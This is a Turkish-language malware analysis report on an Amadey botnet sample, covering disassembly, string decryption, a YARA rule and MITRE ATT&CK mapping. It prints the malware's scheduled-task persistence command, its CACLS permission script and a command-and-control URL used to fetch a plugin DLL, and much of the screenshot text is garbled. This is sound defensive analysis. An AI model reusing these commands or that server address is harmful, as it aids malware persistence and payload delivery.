

İçindekiler

İÇİNDEKİLER	İ
ÖN BAKIS	1
NBVEEK.EXE ANALIZI	
Statik Analiz	
Dinamik Analiz	
YARA KURALI	
MITRE ATTACK TABLE	
ÇÖZÜM ÖNERİLERİ	
HAZIRLAYAN	

Ön Bakış

Botnet olarak ortaya çıkan Amadey, Rus Hack forumlarında ilk kez Kasım 2018 tarihlerinde görülmüştür. Düzenli olarak sistem hakkındaki bilgilerini ve antivirüs yazılımlarını komuta kontrol sunucusuna aktarmaktadır. Asıl işlevi ise, ele geçirilen sistemlerin hepsine veya özel olarak hedeflenenlere başka payloadlar yüklemektir.

Enfekte edilen cihazlardan elde edilen bilgilerden bazıları şunlardır;

- Kayıt defteri manipülasyonu,
- Cihaz özellikleri ve dosya bilgileri,
- Güvenlik uygulamaları,
- İşletim sistemi bilgisi

Nbveek.exe Analizi

Adı	Nbveek.exe
MD5	77e0a0a90e0231493bd421f4cdab0668
SHA256	75520c76a4051b2be15db8625f35d4c1c63d93686bf849e6fc67f4e 62d2fd000
Dosya Türü	PE32 / EXE

Statik Analiz

İlk bakışta zararlı dosyada stringler içerisinde kullanılan API'ler dışında **base64** değerler göze çarpmaktadır.

.rdata:00433430	00000011	С	KQKkIcN JIhBGC==
.rdata:00433444	00000011	С	9gy4UM0wHo06SS==
.rdata:00433458	000000D	С	RUCKQuKYO3R=
.rdata:00433468	00000029	С	IUCAUMK5VUFxN2DdTYaKNWMHMyZJKABAFwYWO9F=
.rdata:00433494	0000009	С	FwYWP9Fn
.rdata:004334A0	0000009	С	FcpxM7==
.rdata:004334B0	00000045	С	RUYIQviGQm0eMYcgcqYv43U21B4I3oSyaXCeLT0D9o0w7HQicrCl430eYjLqK46mWK==
.rdata:004334F8	0000005D	С	RUYIQviGQm0eMYcgcqYv43U21B4I3oSyaXCeLT0D9o0w7HQicrCl430eVT8s3I BWRyeQNSq9kGV
.rdata:00433558	000000D	С	RXGj8dW69C==
.rdata:00433570	00000019	С	VWQmDsdIEHOPKGcPIGYvD4zi
.rdata:0043358C	0000003D	С	RUYIQviGQm0eMYcgcqYv43U21B4I3oSyaXCeLT0D9o0w7HQicrCl430eYjLq
.rdata:004335CC	000000D	С	hKwUwCxIBNi
.rdata:004335DC	00000015	С	FwYGUMCq IZiE3ILIGx=
.rdata:004335F4	000000D	С	RByxUTOm8ZR=
.rdata:00433608	00000059	С	RUYIQviGQm0eMYcgcqYv43U21B4I3oSyaXCeLT0D9o0w7HQicrCl430eVT8s3I BWRyePSmq8IBiK
.rdata:00433664	00000015	С	GPKVMLOVQmdILWoCJU==
.rdata:0043367C	0000009	С	Uyuy8q==

Base64 olduğu düşünülen değerlerin bazıları decode edildiğinde "**)**p**^G\e=**", ""黩 Q**{+d***", "**&**#", "**)!IF**" şeklinde anlamsız değerler çıkmaktadır. Bu değerler belirlenmiş bir anahtar kullanılarak **runtime anında anlamlandırılmaktadır**.

Görsel 1- IDA strings

V25 = (CONST CHAR ")1prileName; if (v60 >= 0x10)
v25 = lpFileName[0];
v26 = GetFileAttributesA(v25); if (v26 == -1 || (v26 & 0x10) == 0) { v27 = (const CHAR *)lpFileName; v45 = 0; if (v60 >= 0x10) v27 = lpFileName[0]; CreateDirectoryA(v27, (LPSECURITY_ATTRIBUTES)v45); } v28 = (const CHAR *)lpFileName; if (v60 >= 0x10) v28 = lpFileName[0]; v29 = GetFileAttributesA(v28); if (v29 != -1 && (v29 & 0x10) != 0) v44 = (LPCSTR)sub_415850(FileName); v37 = (const CHAR *)sub_415850(v61); CopyFileA(v37, v44, 1); if ((unsigned __int8)sub_405020((char *)FileName)) { v58 = &v40;

Görsel 2- IDA pseudo kod parçası

Burada bir dizin içerisinde önce klasörü **arayıp**, yoksa **oluşturulduğunu** ardından o klasör altında bir dosyayı **arayıp** yoksa içerisine elde tutulan **dosyanın kopyalandığı** görülmektedir.

00400440	pusn	1		
00403A4A	push	offset al	;	"1"
00403A4F	call	sub_416B10	;	Call Procedure
00403A54	add	esp, 8	;	Add
00403A57	xor	edx, edx	;	Logical Exclusive OR
00403A59	test	al, al	;	Logical Compare
00403A5B	mov	ecx, 5		
00403A60	CMOVZ	ecx, edx	;	Move if Zero (ZF=1)
00403A63	mov	edx, offset aRun	as	; "runas"
00403A68	push	ecx	;	Size
00403A69	mov	ecx, offset Src		
00403A6E	cmovnz	ecx, edx	;	Move if Not Zero (ZF=0)
00403A71	push	ecx	;	Snc
00403A72	lea	ecx, [ebp+lpOper	at	tion] ; void *
00403A75	call	sub_415CD0	;	Call Procedure
00403A7A	cmp	[ebp+arg_44], 10	h	; Compare Two Operands
:00403A7E	lea	edx, [ebp+lpPara	me	<pre>ters] ; Load Effective Address</pre>
00403A81	push	0	;	nShowCmd
00403A83	cmovnb	edx, [ebp+lpPara	me	eters] ; Move if Not Below (CF=0)
00403A87	lea	ecx, [ebp+lpFile]	; Load Effective Address
00403A8A	cmp	[ebp+arg_2C], 10	h	; Compare Two Operands
00403A8E	lea	eax, [ebp+lpOper	at	tion] ; Load Effective Address
00403A91	push	0	;	lpDirectory
00403A93	cmovnb	<pre>ecx, [ebp+lpFile</pre>]	; Move if Not Below (CF=0)
00403A97	cmp	[ebp+arg_14], 10	h	; Compare Two Operands
00403A9B	push	edx	;	lpParameters
00403A9C	cmovnb	eax, [ebp+lpOper	at	tion] ; Move if Not Below (CF=0)
00403AA0	push	ecx	;	lpFile
00403AA1	push	eax	;	1pOperation
00403AA2	push	0	;	hwnd
00403AA4	call	ds:ShellExecuteA	;	, Indirect Call Near Procedure
00403000	mov	edv [ehn+arg 14	1	V
				*

Görsel 3- IDA görünümü

Dosya kopyalama işleminin hemen ardından kopyalanan dosyanın burada "**runas**" parametresi ile çalıştırıldığı açıkça görülmektedir.

Dinamik Analiz

• 00EC29E9	↓ ile nbveek. EC2A25		Euroction name 🌲	🔛 🖆 🖼
00EC29EB 00EC29E0	nop dword ptr ds:[eax+eax],eax		f cub 11210	.text:01145BA8 mov ebx, es
OOEC29F2	cmp eax,edi	edi: "85xxxxxxxx"	f sub_11310(.text:01145BAA cmp ecx, 10
00EC29F6	cmovne edx,eax	eur: 85XXXXXXXX , esr: 85XXXXXXX	7 Sub_11510.	.text:01145BAD jb short I
00EC29F9 00EC2A00	cmp dword ptr ds:[EF8BA0],10 mov eax.nbveek.EF8B8C	EF888C:&"850c61ff7cfc4c28ae073b6ce7	f sub_11310.	
00EC2A05 00EC2A05	cmovae eax, dword ptr ds: [EF8B80] 00EF8B8C:&"850c61ff7cfc4c28ae073b6c	f sub_11310	
00EC2A0C	jb nbveek.EC2A14		f sub_113100	
00EC2A12 00EC2A14	<pre>mov edi,dword ptr ds:[esi] mov al.byte ptr ds:[edx+eax]</pre>	edi:"85xxxxxxxxx", esi:"85xxxxxxxx	f sub_11310	.text:01145BAF r
• 00EC2A17	mov byte ptr ds:[edi+ecx],al	edi+ecx*1:"xxxxxxxxx"	f sub_11310,	
OOEC2A1A OOEC2A1B	mov edi, dword ptr ss:[ebp-4]		f sub_11310	45001
 00EC2A1E 00EC2A21 	lea eax,dword ptr ds:[edx+1] cmp ecx.ebx		f sub_11310	45881 loc 1145881: ; Size
• 00EC2A23	j] nbveek.EC29F0		f sub_11311(45BB1 push edi
00EC2A29	jb nbveek.EC2A3A		<u>f</u> sub_11311.	45BB2 push 78h ; 'x' ; Val
 00EC2A2B 00EC2A2D 	pop edi	esi: "85xxxxxxxxx" edi: "85xxxxxxxxx"	f sub_113114	45BB4 push ebx ; void *
00EC2A2E 00EC2A2E	mov byte ptr ds:[eax+ecx],0	eci."REVVVVVVV	f sub_11311(45BB8 call memset : Call Pr
 00EC2A32 00EC2A34 	pop esi	esi: "85xxxxxxxxxx"	f sub_113118 🛫	45BBD add esp, 0Ch ; Add
 00EC2A35 00EC2A36 	mov esp,ebp		I → I	45BC0 mov byte ptr [edi+ebx], 0
 00EC2A38 00EC2A39 	pop ebp		Line 16 of 985	45BC4 mov eax, esi
>• OOEC2A3A	pop edi	edi: "85xxxxxxxxx"		45BC7 pop esi
• 00EC2A3B	mov byte ptr ds:[es1+ecx],0	esi+ecx*1:"XXXXXXXXXXXX	🚓 Gra 🗖 🗗 🗙	45BC8 pop ebx
	III			45BC9 mov esp, ebp
eek.00EC2A3A				45BCB pop ebp
Anahtar gör	evi gören değer, çi vek.272875 ax ax, dword ptr ds:[329016] vek.272875 ax wek.272875 ax dword ptr ds:[329020],10 si, nbvek.32900C cx,ebx esi, dword ptr ds:[dx+ecx] dx, dword ptr ds:[dx+ecx] dx, dword ptr ds:[dx+ecx] dx, dword ptr ds:[dx+ecx] dx, dword ptr ss:[ebp-14] cx,ebx esi, dword ptr ss:[ebp-14] cx,ebx ax, dword ptr ss:[ebp-14] cx,ebx ax, dword ptr ss:[ebp-14] cx,ebx ax, dword ptr ss:[ebp-14] cx,ebx ax, dword ptr ss:[ebp-14] cx,ebx ax, dword ptr ss:[ebp-16] si, dword ptr ss:[ebp-10] yte ptr ds:[czx+esi], al si, dword ptr ss:[ebp-10], esi si, dword ptr ss:[ebp-10] vek.272832 word ptr ds:[ebx+14],10 ax,ebx ax, dword et ds:[ebx]	Görsel 3- x32dbg	UUUUNA A	yarlanmaktadır. YZ0123456789 ", 32900C:&"abd YZ0123456789 ", 0032900C:&"ab
ibob eo		COLIS KAKELA JIURG		

Görsel 4- x32dbg metin çözümleme işlemi

Elde edilen değer ile çözülecek değer bir takım işlemlerin ardından **anlamlı base64** değerlerini oluşturmaktadır.

	00372C1F	call nbveek. 372980	[csp loj! ssecuriterereze
•	00372C24	add esp,4	
•	00372C27	lea eax,dword ptr ss:[ebp-40]	[ebp-40]:"850c61ff7cfc4c28"
٠	00372C2A	mov byte ptr ss:[ebp-4],1	
•	00372C2E	push eax	eax:&"NWViNmI5NjczNA=="
•	00372C2F	lea edx,dword ptr ss:[ebp+8]	[ebp+8]:"KQKkIcN JlhBGC=="
•	00372C32	lea ecx, dword ptr ss:[ebp-28]	[ebp-28]:"NWViNmI5NjczNA=="
•	00372C35	call nbveek.372A50	
	00372C3A	add esp.4	

Görsel 5- x32dbg çözümlenmiş örnek

KQKkIcN JIhBGC== // NWViNmI5NjczNA== // 5eb6b96734 (klasör adı)

<pre>Call dword ptr ds:[<&GetModuleFileNameA>] lea ecx,dword ptr ss:[ebp-118] mov dword ptr ss:[ebp-430],0</pre>	
<pre>mov dword ptr SS:[ebp-42C],F lea edx,dword ptr ds:[ecx+1] mov byte ptr ss:[ebp-440],0 nop</pre>	ecx+1:":\\Users\\\Desktop\\nbveek.exe"
<pre>mov al,byte ptr ds:[ecx] inc ecx test al,al</pre>	ecx:"C:\\Users\\Desktop\\nbveek.exe" ecx:"C:\\Users\\Desktop\\nbveek.exe"
sub ecx,edx lea eax,dword ptr ss:[ebp-118]	ecx:"C:\\Users\\Desktop\\nbveek.exe"
push ecx push eax lea ecx,dword ptr ss:[ebp-440] call nbveek.3SCD0	ecx:"C:\\Users\\\\Desktop\\nbveek.exe"
<pre>mov byte ptr ss:[ebp-4],A lea ecx,dword ptr ss:[ebp-440] cmp dword ptr ss:[ebp-42C],10 lea edx,dword ptr ss:[ebp-428]</pre>	A: '\n' [ebp-428]:"C:\\Users\\\\AppData\\Local\\Temp\\5eb6b96734\\nbveek.exe"
mov ebx,dword ptr ss:[ebp-440]	
	Görsel 6- AntiDebug

GetModuleFileNameA Api'si kullanılarak çalışan dosya konumu almaktadır. Öncesinde kendini kopyaladığı yer ile de bunu kıyaslamaktadır. Eğer aynı yerde çalışmıyorsa kendini kapatmaktadır.

	-		
	04007550		
	01027E58	cmovae eax, dword ptr ss:[epp-28]	[epp-28]:L*006700e5a2a005704000005890889240
	01027ESC	push cax	eax; L 006/00esa2a005/040000C5890889240
	01027250	push o	
	01027E5F	push o	
~•	01027E61	call dword ptr ds:[<&createmutexw>]	
•	01027E67	<pre>call dword ptr ds:[<&GetLastError>]</pre>	
•	01027E6D	cmp eax, B7	eax:L"006700e5a2ab05704bbb0c589b88924d"
0	01027E72	yje nbveek.1027FOD	
	01027F78	mov_edx_dword_ptr_ss:[ebp-14]	

Görsel 7- x32dbg Mutex

"006700e5a2ab05704bbb0c589b88924d" adıyla bir **mutex** oluşuturulmakta ve **GetLastError** ile "ERROR_ALREADY_EXISTS" (**0xB7**) kontrolü yapılmaktadır. Şayet mutex oluşturulmuşsa **zaten çalıştığı kabul edilerek** program kapanmaktadır.

LUND OWDED DUE SSIMPODEIUM, IU	
push edx	edx:"/Create /SC MINUTE /MO 1 /TN nbveek.exe /TR \"C:\\Users\\\\AppData\\Local\\Temp\\Seb6b96734\\nbveek.exe\"
push ecx	ecx: "SCHTASKS"
push eax	
call dword ptr ds:[<&ShellExecuteA>]	
mov edx.dword ptr ss:[ebp+1C]	

Görsel 8- Cmd SCHTASKS persistence

Görseldeki script ile programı **her dakika başında** çalıştırmaktadır ve "**/F**" (Force) parametresi ile de uyarıları göz ardı etmektedir.

"kodex" ":N\"" "&&" CACLS \"" "nbveek.exe" "\" /P \ "kodex" ":R\" "&&" /E" echo Y|CACLS \"" ..\\5eb6b96734" \\" /P \"" "kodex" ":N\"" 2.2 ..\\5eb6b96734" CACLS \"" "kodex" ":R\" /E" "&&Exit"

Görsel 9- Cmd scripti

Parça parça çözülen değerler **stack içinde** tutulup çalıştırılmadan önce birleştirilmektedir.

"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "nbveek.exe" /P "kodex:N"&&CACLS "nbveek.exe" /P "kodex:R" /E&&echo Y|CACLS "..\5eb6b96734" /P "kodex:N"&&CACLS "..\5eb6b96734" /P "kodex:R" /E&&Exit

*Kodex = %USERNAME%

		1 3 🗂 🖬 3 🕶 1 3 "# "I "@ "> 🔍 🛵 3 🔤 🖉 3 🔤 " 3 💷 "
Memory Environment Handles GPU Comment		
General Statistics Performance Threads Token Modules		Library front Decider front Distance Distance Frances
=1		
File Windows Komut İslemcisi		🗗 Fur 🗆 🗗 🗙 🔚 ID 🛛 😰 St 🗶 🗐 St 🗶 🔘 He 🗶 🗛 St.
(Verified) Microsoft Windows		Eurotics name (01133A9B push edx ; lpParameters
(verned) Microsoft Windows		Function name - :01133A9C cmovnb eax, [ebp+lpOperation] ; Move if Not Be
Version: 6.1.7601.17514	OFIL	u → :01133AA0 push ecx ; lpFile
Image file name:	759	Line 18 of 985 :01133AA1 push eax ; IpOperation
C:\Windows\SvsWOW64\cmd.exe		:01133AA2 push 0 ; nwnd
		all all all all all all all all all all
		:01133AAD cmp eax, 2Ah : '*' : Compare Two Operands
Information	23	:01133AB0 setz b1 ; Set Byte if Zero (ZF:
		91133AB3 cmp edx. 10h : Compare Two Operands
"C:\Windows\System32\cmd.exe" /k echo Y CACLS "nbveek.exe" /P "kodex:N"&&CACL	S 🔺	100.00% (1626,984) (86,139) 00002E10 01133A10: (Synchron
Indiversity of the second structure in the second stru		🔲 Output window 🗆 🗗 🛪
		Python .rdata:011633F0 00000011 C KdxwH F5HIVzElz0
		AU: idle Up Disk: 36GB
		wintools64.exe 1764 0,13 684 B/s 11,64 MB WIN-L1K
		▲ 💥 x32dbg.exe 724 0,24 58,8 MB WIN-L1K
		⊿ 💷 nbveek.exe 4048 1,8 MB WIN-L1K
		🔤 cmd.exe 1808 2,06 MB WIN-L1K

Görsel 10- Cmd scripti_2

"Cmd.exe" içinde çalışan bu scripti **erişim listesini** kontrol etmeyi sağlamaktadır."echo Y|" komutuyla, "Are you sure?" sorusunun yanıtını "YES" olarak girmektedir. "Kodex:" **kullanıcının girmesi gereken** cevapları girmeyi sağlamaktadır, burada ise "nbveek.exe" dosyasına önce "**None**" izni sonra "**Read**" izini verilmektedir. Ardından aynı işlemi **zararlının bulunduğu klasör** için de uygulanmaktadır.

💣 Kayıt Defteri Düze 🗖 🔳 🔀 Dosya Düzen Görünüm	ebp-8],80000001 tr ss:[ebp+8]	<pre>[copid]: Software\\Wicrosoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders"</pre>
Sik Kullanılanlar Vardım VyedPaths User Shell Folders UserAssist WisualEffects Wallpaper Wallpapers Wallpapers	[k&RegOpenKeyEXA Diz ebp+4C],10 De 55: ebp+38 St 55: ebp+20 tr 55: ebp+20] tr tr 55: ebp+20] tr 55: ebp+20] De ebp+34],10 De tr 55: ebp+20]	sēger adı: +eb6b96734\\" tartup +eb6b96734\\" sēger verisi: +eb6b96734\\" <u>AUlsers\zonro\AppData\Local\Temp\Seb6b96734\</u> +eb6b96734\\"
01022F01 push dword ptr ds: 01022F01 push dword ptr ds: 01022F02 push dword ptr ds: 01022F03 push dword ptr ds: 01022F04 push dword ptr ds: 01022F05 push dword ptr ds: 01022F04 push dword ptr ds: 01022F15 mov edx,dword ptr 01022F16 push dword ptr ds: 01022F11 nbweck.1022F44 01022F12 nc edx 01022F13 cmp edx.1000	[ebp=8] [cdp=8] [cdp=8] [cdp=8] [ss:[ebp+1C] ss:[ebp+8] Gön	ecx: "Startup" edx: "C:\\Users\\\AppData\\Local\\Temp\\Seb6b96734\\" [ebp+8]: "SOFTWARE\\Microsoft\Windows\\CurrentVersion\\Explorer\\User Shell Folders" edx: "C:\\Users\\\\AppData\\Local\\Temp\\Seb6b96734\\" edx: "C:\\Users\\\\AppData\\Local\\Temp\\Seb6b96734\\" erxel 11- Kayıt defteri ile kalıcılık

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ User Shell Folders

Kayıt defterinde yer alan bu yolun varsayılan değeri aşağıdaki dosya yoludur.

"%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"

Fakat zararlı bu işlem ile **varsayılan başlangıç yolunu** kendi dizinine ayarlamaktadır.

201	v10 = v124.dwMajorVersion;
202	if (v124.dwMajorVersion == 10)
203	{
204	if (!v124.dwMinorVersion)
205	{
206	v11 = (v125 != 1) + 1;
207	LABEL_86:
208	dword_438930 = v11;
209	}
210	return dword_438930;
211	}
212	if (v124.dwMajorVersion != 6)
213	goto LABEL_76;
214	v12 = v124.dwMinorVersion;
215	if (v124.dwMinorVersion == 3)
216	
217	V11 = (V125 != 1) + 3;
218	goto LABEL_86;
219	j if (v 104 differentian $1 - 0$)
220	roto LAREL 72:
221	if (1125 1)
222	1 (123 1)
224	v123 = &v105:
225	dword 438930 = 1:
226	sub 415970(&dword 439054);
227	sub 402BE0(v61, v68, v75, v82, v89, v97);
228	v131 = 1;
229	sub 415970(&dword 439264);
230	sub_402BE0(v42, v45, v48, v51, v54, v57);
231	v131 = -1;
232	<pre>v13 = (_DWORD *)REGOPEN(</pre>
233	v118,
234	HKEY_LOCAL_MACHINE,
235	v62.
	Cänael 12 Manaisan kantualii
	(301SPI I Z - VPISIVON KONTOIII)

Daha sonra loglanmak için belleğe alınan "OSVERSIONINFOEXA" yapısı içerisinden versiyon kontrolü yapılmaktadır. Eğer işletim sistemi Windows Server 2012 veya Windows 8 ise registery üzerinden kontrol yapılmaktadır. Ayrıca GetNativeSystemInfo API'si ile kontrol edilen veriye göre de SOFTWARE\Microsoft\Windows NT\CurrentVersion içindeki ProductName değerinde 2016, 2019, 2022 değerlerini aramaktadır. Bu sonuçlara göre "OS" loglaması değişmektedir.

mov ecx,esp	
push nbveek.EF8BA4	EF8BA4:&"NPODPRV1Q4do7J5ecqJ="
call nbveek.ED5970	
lea ecx.dword ptr ss:[ebp-58]	
call nbyeek, EC2BE0	
mov esi eav	esi:"AVAST Software" eav:&"C:\\ProgramData\\AVAST Software"
lea ecy dword ata scilleba-401	[abn=40] "off"
mov dword of collabor 40	[ebp-40]. In
mov uworu per ss. epp-41,0	
Call noveek.EC5650	
push esi	est: "AVAST SOTTWARE"
mov edx,eax	eax:&"C:\\ProgramData\\AVAST Software"
mov byte ptr ss:[ebp-4],1	
<pre>lea ecx,dword ptr ss:[ebp-28]</pre>	[ebp-28]:"C:\\ProgramData\\AVAST Software"
call nbveek.ED5E20	
add esp.1C	
cmp dword ptr ds:[eax+14].10	
ib nbyeek, EC6EB2	
mov_eax_dword_ntr_ds:[eax]	eax:&"C:\\ProgramData\\AVAST_Software", [eax]:"C:\\ProgramData\\AVAST_Software"
nush eav	eav: &"C:\\ProgramData\\AVAST Software"
call dword ntr ds:[<&GetEileAttributesAs]	
mov aby any	eav: &"C:\\ ProgramData\\AVACT_Software"
mov cox, cax	cax.a c. ((Frogrambata)(AVAST Software

Görsel 13- AV kontrolü

ProgramData klasörü altında seçilen güvenlik yazılımlarının varlığı kontrol edilmektedir. ProgramData klasörü altında belirtilen **güvenlik uygulamalarından** herhangi birinin adı ile oluşturulmuş (**boş bile olsa**) bir klasör varsa "**antivirüs var**" olarak algılamaktadır. (&av=1)

r						
AVAST Softw	ware	Avira		Kaspersky	Lab	ESET
Panda Secu	anda Security Doctor Web		AVG		360TotalSecurity	
Bitdefender Norton			Sophos		Comod	
● 01033395 ● 01033398 ● 01033A0 ● 01033A3 ● 01033A3 ● 01033A3 ● 01033A5 ● 01000 ● 01000 ● 01000 ● 01000 ● 01000 ● 010000 ● 0100000 ● 00	lea ecx,dword pt call nbveek.1035 add esp,4 mov edx,eax mov byte ptr ss: lea ecx,dword pt call nbveek.1035 add esp,4 mov ecx,nbveek.1	r ss:[ebp-670] E20 [ebp-4],2E r ss:[ebp-5E0] F20 0593E4	eax:&"id=987719733412&v 2E:',' [ebp-5E0]:"id=987719733	5=3.66&sd=360232&os=9&b1=1 412&vs=3.66&sd=360232&os=9	l&ar=0&pc=WIN−L1KDN7 9&bi=1&ar=0&pc=WIN−L1	9780J&un=zorro&dm=&av=1&lv=0&og=1" KDN79780J&un=zorro&dm=&av=1&lv=0&og=1"
	Dush eax and noveek.1035 nov edx.dword pt in noveek.10333F nov ecx.dword pt inc edx mov eax.ecx comp edx.10333F li hoveek.10333F add edx.23 bub eax.ecx add eax.FFFFFFFC add edx.103423 bub eax.ecx add eax.FFFFFFFC	<pre>sec: r ss:[ebp-Scc] r ss:[ebp-Sc0] r ds:[ecx-4] 4</pre>	eax: a 1a=967/1973341260 [ebp-5E0]: "1d=987719733 eax: & "1d=98771973341260 eax: & "1d=98771973341260 eax: & "1d=98771973341260 eax: & "1d=98771973341260	<pre>s=3.66&sd=360232&os=3&01=3 412&vs=3.66&sd=360232&os=5 s=3.66&sd=360232&os=9&b1=1 s=3.66&sd=360232&os=9&b1=1 s=3.66&sd=360232&os=9&b1=1 s=3.66&sd=360232&os=9&b1=1 s=3.66&sd=360232&os=9&b1=1 </pre>	kar=0&pc=WIN-LIKDN/ k&b1=1&ar=0&pc=WIN-L k&ar=0&pc=WIN-LIKDN/ k&ar=0&pc=WIN-LIKDN/ k&ar=0&pc=WIN-LIKDN/ k&ar=0&pc=WIN-LIKDN/	Proujáun=zorroádm=áav=1á\v=u&og=1" IKDN79P80jáun=zorroádm=áav=1á\v=0áog=1" PR0jáun=zorroádm=áav=1á\v=0áog=1" PR0jáun=zorroádm=áav=1á\v=0áog=1" PR0jáun=zorroádm=áav=1á\v=0áog=1"
010333F4	call nbveek.1037	534				
78 d"id=987719733412&vs=3.66&sd=360232&os=9&bi=1&ar=0&pc=WIN-L1KDN79P803&un=zorro&dm=&av=1&lv=0&og=1"						

Görsel 14- LSAPolicyLookup

Yukarıdaki görselde sistem hakkında toplanan bilgiler **komuta kontrol sunucusuna** gönderilmek üzere tek metin halinde birleştirilmektedir.

	00509295	nuch 0	
	00EC8390	push 0	
	00EC8392	push 0	
	00EC8394	lea eax.dword ptr ss:[ebp+8]	[ebp+8]:"http://62.204.41.27/9diZdi09/Plugins/clip64.dll"
	00EC8397	mov dword ptr ss: ebp-50 .ecx	
	00EC 839A	cmovae eax.dword ptr ss: ebp+8	[ebp+8]:"http://62.204.41.27/9diZdi09/Plugins/clip64.dll"
	00EC839E	push 0	
	00EC83A0	push eax	
	00EC83A1	push ecx	
	00EC83A2	<pre>call dword ptr ds:[<&InternetOpenUrlA>]</pre>	
	00EC83A8	mov edi,eax	
	00EC83AA	lea eax,dword ptr ss:[ebp-14]	
	00EC83AD	push eax	
	00EC83AE	push dword ptr ss:[ebp-14]	
	00EC83B1	push esi	
•	00EC83B2	push edi	
	00EC83B3	<pre>call dword ptr ds:[<&InternetReadFile>]</pre>	
•	00EC83B9	test eax,eax	
	00EC 83BB	je nbveek.EC83EF	
•	00EC83BD	mov ebx,dword ptr ds:[<&WriteFile>]	
•	00EC83C3	mov eax,dword ptr ss:[ebp-14]	
	00FC83C61	ITEST eax.eax	
		O "	

Görsel 15- Zararlı URL

Görseldeki URL'yi açıp **dosya okumayı denemekte** fakat **kapalı** olduğu için bunu gerçekleştirememektedir.

▶ zorro ► AppData ► Roaming ► 006700e5a2ab05	: 006700e5a2ab							
Kitaplığa ekle 🔻 Bununla paylaş 🔻 Yaz Yeni klasör								
anılanlar Ad Değiştirme tarihi Tür Boyut								
lan Yüklemeler 🚳 clip64.dll 24.02.2023 20:46 Uygulama uzantısı) KB							

Görsel 16- İndirilecek dosya

Okunduktan sonra yazılması beklenen dosya dizini de bu şekildedir. Öncesinde **Mutex** burada oluşturulmaktadır.

C:\Users\%US	ERNAME%\App	Data\R	paming\006700e5a2ab05\				
62.204.41.27	192.168.247.128	TCP	60 80 → 49224 [RST, ACK] Seq=1 Ack=1 Win=64240 Len=0				
			1287 <ignored></ignored>				
			79 <ignored></ignored>				
			76 <ignored></ignored>				
			78 <ignored></ignored>				
			136 <ignored></ignored>				
192.168.247.128	62.204.41.27	TCP	66 49229 → 80 [SYN] Seq=0 Win=8192 Len=0 MSS=1460 WS=…				
			V				

Görsel 17- Wireshark görünümü

Oluşturulan **thread** ile program her defasında komuta kontrol sunucusuna **TCP paketi** göndermektedir. Fakat sunucu kapalı olduğu için **RST paket** geldiğinden dolayı herhangi bir işlem devam etmemektedir.

end = 0x433E59 # Here is for end of the encoded string's						
start = 0x4333F0 # Start of encoded string's address						
value = idaapi.get_bytes(start,end-start)						
stringValue = value.decode("utf-8")						
listedValue = stringValue.split('\x00')						
<pre>def yaz(final): if(final != ""): text_file = open("Decrypted.txt", "a") text_file.write(final+"\n") text_file.close() def decodeToBase64(listedValue): alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 " key = "850c61ff7cfc4c28ae073b6ce7172cbd850c61ff7cfc4c28ae073b6ce7172cbd"</pre>						
alphabet1 = alphabet[::-1]						
<pre>for line in listedValue: final = "" counter=0 while(len(line)!= counter and line[counter]!="=" and line[counter]!="+"): indexAlp= 0 while(alphabet1[indexAlp] != key[counter]): indexAlp+=1 indexAlp2 = 0 #print(line[counter]) while(alphabet[indexAlp2] != line[counter]): indexAlp2+=1</pre>						
final +=alphabet[((indexAlp+1) + (indexAlp2+1)) % 63 -1] counter +=1 yaz(final) decodeToBase64(listed)(alue)						

Şifreli metinler yukarıdaki IdaPython kodu ile Base64 değerlerine döndürülmüş halde metin dosyasına yazılmaktadır.

YARA Kuralı

import "pe"

rule Amadey{

meta:

author="enessakircolak"

date= "01.03.2023"

strings:

\$a = "Amadey.pdb"

\$b = {83 3D ?? ?? ?? 10 BE ?? ?? ?? 8B CB 0F 43 35 ?? ?? ?? ?? 2B C8 8D 04 0A 33 D2 F7 F3 8B 5D EC 8B CB 83 7B 14 10 72 02 8B 0B 8A 04 32 8B 75 F0 88 04 31 46 89 75 F0 3B 75 F8}

\$mutex = "006700e5a2ab05704bbb0c589b88924d"

\$key = "850c61ff7cfc4c28ae073b6ce7172cbd"

\$enc1 = "KdxwH F5HIVzElz0"

\$enc2

"RUYIQviGQm0eMYcgcqYv43U21B4I3oSyaXCeLT0D9o0w7HQicrCl430 eVT8s3I BWRyeQNSq9kGV4IMpbGqC43sm3Tzv"

\$enc3 = "OWK2OcK57Z4nN5cwdKKpKX0ofs=="

\$enc4 = "AKeF7S 5VY 2EWImc7qr53g2eSZqFkCp9XyvGMWm IJ9BIWeb0J5AnMjhCueFACp8Qmn7cKyVV5k"

\$api1 = "CreateMutex"

\$api2 = "GetVersionEx"



\$api4 = "ShellExecute"

\$api5 = "HttpOpenRequest"

\$api6 = "InternetOpenUrl"

\$api7 = "CopyFile"

\$api8 = "LoadLibraryEx"

\$api9 = "CreateDirectory"

\$api10 = "RemoveDirectory"

\$api11 = "GetFileAttributes"

\$api12 = "RegCloseKey"

condition:

uint16(0) == 0x5a4d

and filesize <= 1MB

and pe.imports("WININET.dll")

and(

any of (\$a,\$b,\$api*) or all of (\$enc*,\$mutex,\$key)

)

MITRE ATTACK TABLE

Reconnaissance	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	C&C	Exfliration
Gather Victim Host Information (T1592)	Windows Command Shell (T1059)	Scheduled Tasks/Job (T1053)	Manipulate System Process (T1053)	Obfuscated Files or Information (T1027)	OS Credential Dumping (T1003)	Remote Acces Software (T1219)	Scheduled Transfer (T1029)
	Scheduled Task (T1053)	Startup Folder (T1547)	Registery Run Keys (T1547)	Modify Registry (T1112)	Credentials in Registry (T1552.002)		
	Startup Folder (T1547)						

Çözüm Önerileri

- 1. Sistem güncel tutulmalıdır.
- 2. Her işlem çalışma anında denetlenmelidir.
- 3. Güvenilir anti-virüs yazılımı kullanılmalıdır(kullanılmasa bile o isimde dosya ProgramData altında bulundurulmalıdır).
- 4. Her türlü doküman teftiş edilerek kullanılmalıdır.

HAZIRLAYAN

